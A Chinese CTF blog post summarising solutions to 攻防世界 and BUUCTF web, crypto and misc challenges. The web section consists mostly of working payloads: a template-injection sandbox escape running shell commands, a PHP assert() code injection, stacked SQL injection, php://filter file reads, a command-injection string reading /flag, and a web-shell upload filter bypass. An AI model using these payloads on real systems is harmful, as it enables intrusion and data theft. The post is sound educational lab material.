攻防世界&BUUCTF总结02

原创

WustHandy 于 2020-07-30 20:54:29 发布 388 收藏 1

分类专栏： WriteUp 文章标签： php base64

本文链接：https://blog.csdn.net/weixin_45883223/article/details/107690599

攻防世界&BUUCTF总结02

攻防世界

Web_python_template_injection

mfw

BUUCTF

[SUCTF 2019]EasySQL

[ACTF2020 新生赛]Include

[ACTF2020 新生赛]Exec

[ACTF2020 新生赛]BackupFile

[ACTF2020 新生赛]Upload

Crypto

Misc

攻防世界

Web_python_template_injection

python模板注入，沙箱逃逸

1.用os模块的ls或listdir打印所有文件

{{[].**class**.**base**.**subclasses**()[71].**init**.**globals**['os'].**popen("ls").read()**}}

{{[].**class**.**base**.**subclasses**()[71].**init**.**globals**['os'].**listdir("./")**}}

2.用cat命令查看目标文件

{{[].**class**.**base**.**subclasses**()[71].**init**.**globals**['os'].**popen("cat fl4g").read()**}}

mfw

git源码泄露，用GitHack工具下载，查看index.php

```php
<?php
if (isset($_GET['page'])) {
 $page = $_GET['page'];
} else {
 $page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
```

assert()是断言检测函数
strpos()函数查找字符串在另一字符串中第一次出现的位置（区分大小写）。
payload：?page=1',‘2’) === false and system(‘cat templates/flag.php’) and strpos('templates/flag
拼接后完整的语句是

```
assert("strpos(‘templates/1’, ‘2’) === false and system(‘cat templates/flag.php’) and strpos(‘templates/flag.php
’) or die(“Detected hacking attempt!”);
```

BUUCTF

[SUCTF 2019]EasySQL

堆叠注入

```
1;show databases;
1;show tables;
```

在oracle 缺省支持 通过‘||’来实现字符串拼接，但在mysql 缺省不支持。需要调整mysql 的**sql_mode**模式：**pipes_as_concat** 来实现oracle 的一些功能

```
1;set sql_mode=PIPES_AS_CONCAT;select 1
```

[ACTF2020 新生赛]Include

php://filter 伪协议

?file=php://filter/read=convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Exec

127.0.0.1;cat /flag

[ACTF2020 新生赛]BackupFile

index.php.bak

```php
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
```

PHP的弱类型特性，int和string是无法直接比较的，php会将string转换成int然后再进行比较，转换成int比较时只保留数字，第一个字符串之后的所有内容会被截掉
所以相当于key只要等于123就满足条件了

[ACTF2020 新生赛]Upload

一句话木马后缀名改为.jpg上传，抓包之后再把后缀名改成.phtml。

Crypto

md5,url,caesar,base64,morse,变异凯撒依次多移一位,Quoted-printable,rabbit,栅栏,RSA求d,汉字转换拼音,分解质因数,二进制转16进制转文本,仿射密码

Misc

Stegsolve的Frame Browser查看gif
foremost之后爆破zip密码
base64转换图片
图片改宽高
拖进winhex或HxD
Stegsolve的Data Extract勾选Red,Green,Blue后Save Bin